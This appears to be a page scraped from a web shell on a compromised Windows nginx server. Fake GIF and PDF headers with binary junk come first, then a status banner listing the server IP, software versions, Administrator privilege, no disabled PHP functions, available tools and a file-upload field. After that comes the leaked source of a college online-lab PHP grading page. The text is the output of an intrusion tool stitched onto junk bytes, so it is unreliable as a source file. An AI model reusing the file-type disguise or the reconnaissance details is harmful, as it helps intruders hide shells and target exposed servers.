GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Class/OnlineLab/ |
Upload File : |
<? // Class/OnlineLab/QuestionList.phpinc // Show the question list. if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $DEBUG_QuestionList = true; if ( !isset($DEBUG_QuestionList) ) $DEBUG_QuestionList = false; if (da()) debugTrackBegin(); $sectionTitle = $title; if ( $uId ) $sectionTitle .= ' - '.userName($uId); include('common/sectionHeader.phpinc'); #$gradeInfo['gradeId'] = 0; // Uncomment to simulate no gradeId. if ( isset($f_message) ) { ?> <h2 class="center info"><?=$f_message?></h2> <? } if ( !isset($labOnline) ) $labOnline = true; ?> <fieldset><legend><?=$f_evaluationTitle?> - <?=$f_evaluationDescription?></legend> <? if ( !$labOnline ) { ?> <h3 class="attention error"><?=$f_evaluationTitle?> is not yet online!</h3> <? } $SubmitAllDisabled = ''; $SubmitPartDisplay = true; include('Class/OnlineLab/QuestionGradeAll.phpinc'); if ( !$labOnline || !$gradeInfo['gradeId'] ) { $SubmitAllDisabled = ' disabled'; $SubmitPartDisplay = false; } if ( $Grade['Count']['Graded'] == $Question['Number'] ) { $SubmitAllDisabled = ''; $SubmitPartDisplay = false; } else { $SubmitAllDisabled = ' disabled'; if ( !$Grade['Count']['Graded'] ) $SubmitPartDisplay = false; } if ( $DEBUG_QuestionList ) { printVar('$labOnline',$labOnline,'/'); printVar("\$gradeInfo",$gradeInfo,'f'); printVar("\$Grade['Count']['Graded']",$Grade['Count']['Graded'],'f'); printVar("\$Question['Number']",$Question['Number'],'f'); printVar('$SubmitAllDisabled',$SubmitAllDisabled,'f'); printVar('$SubmitPartDisplay',$SubmitPartDisplay,'f'); printVar("\$Grade",$Grade,'f'); } #$SubmitPartDisplay = true; // Uncomment to simulate part answered. ?> Answer and submit all questions below.<br> <? if ( !isset($gradeInfo['gradeGraded']) || !$gradeInfo['gradeGraded'] ) { ?> When done submitting all questions: <input type="button" name="SubmitAll" value="Submit <?=$evaluationType?> <?=$evaluationNumber?> grade" onClick="FormTask('Submit lab');"<?=$SubmitAllDisabled?>> <? } ?> <table class="pad2"> <tr><th>Question #</th><th></th><th>Status</th></tr> <? $v_ShowQuestionStatus = true; #printVar('$QuestionHTML',$QuestionHTML); echo $QuestionHTML; if ( $labOnline ) { // Is the lab online? // The lab in online. if ( $gradeInfo['gradeId'] ) { // Is there gradeInfo? // There is gradeInfo. if ( $Grade['Points']['Graded'] ) { // Have questions been graded? // Some questions have been graded. #$gradeSoFar = $Grade['Points']['SoFar'] / $Grade['Points']['Graded']; $gradeSoFar = $Grade['Points']['Graded'] / min($Grade['Points']['SoFar'],$Grade['Points']['Possible']); $gradePercentageSoFar = (int)($gradeSoFar*100+.5); $gradePercentageSoFarClass = gradePercentageClass($gradePercentageSoFar); $gradeLetterSoFar = gradeLetterAC($gradePercentageSoFar); $gradeLetterSoFarClass = gradeClass($gradeLetterSoFar); #$gradeFinal = $Grade['Points']['SoFar'] / $Grade['Points']['Possible']; $gradeFinal = $Grade['Points']['Graded'] / $Grade['Points']['Possible']; $gradePercentageFinal = (int)($gradeFinal*100+.5); $gradePercentageFinalClass = gradePercentageClass($gradePercentageFinal); $gradeLetterFinal = gradeLetterAC($gradePercentageFinal); $gradeLetterFinalClass = gradeClass($gradeLetterFinal); ?> <tr><td colspan="3"> You have submitted <?=$Grade['Count']['Graded']?> question<? if ( $Grade['Count']['Graded'] != 1 ) { ?>s<? } ?>.<br> Your grade so far is <?=$gradeLetterSoFarClass?> (<?=$Grade['Points']['Graded']?>/<?=$Grade['Points']['SoFar']?> <?=$gradePercentageSoFarClass?>).<br> <? if ( !$gradeInfo['gradeSubmitted'] ) { ?> <span class="info">You have not submitted <?=$evaluationType?> <?=$evaluationNumber?> for grade.</span><br> <? } ?> Your final grade will be <?=$gradeLetterFinalClass?> (<?=$Grade['Points']['Graded']?>/<?=$Grade['Points']['Possible']?> <?=$gradePercentageFinalClass?>).<br> <? if ( !$gradeInfo['gradeGraded'] ) { ?> <? if ( $SubmitPartDisplay ) { ?> <input type="button" name="SubmitPart" value="Submit <?=$evaluationType?> <?=$evaluationNumber?> grade "As Is"" onClick="FormTask('Submit lab');"<? if ( !$labOnline ) { ?> disabled<? } ?>><br> <? } ?> <? if ( $SubmitAllDisabled == '' ) { ?> <input type="button" name="SubmitAll" value="Submit <?=$evaluationType?> <?=$evaluationNumber?> grade" onClick="FormTask('Submit lab');"><br> <? } ?> <? } ?> <? if ( $Grade['Comments'] ) { if ( !$gradeInfo['gradeGraded'] && $gradeInfo['gradeSubmitted'] ) { ?> <input type="button" name="SubmitComments" value="Update request for <?=$evaluationType?> <?=$evaluationNumber?> be hand graded" onClick="FormTask('Submit lab comments');"<? if ( !$labOnline ) { ?> disabled<? } ?>> <? } else { ?> <input type="button" name="SubmitComments" value="Request <?=$evaluationType?> <?=$evaluationNumber?> be hand graded" onClick="FormTask('Submit lab comments');"<? if ( !$labOnline ) { ?> disabled<? } ?>> <? } ?> to have your comments evaluated and any change in grade applied.<br> <? } ?> </td></tr> <? } else { // Have questions been graded? // No questions have been graded. } // Have questions been graded? } else { // Is there gradeInfo? // No gradeInfo. ?> <tr><td colspan="3"> </td></tr> <? } // Is there gradeInfo? } // Is the lab online? ?> <tr><td colspan="3"> </td></tr> <? ?> </table> </fieldset> <? if ( $DEBUG_QuestionList ) { } include('common/sectionFooter.phpinc'); if (da()) debugTrackEnd(); ?>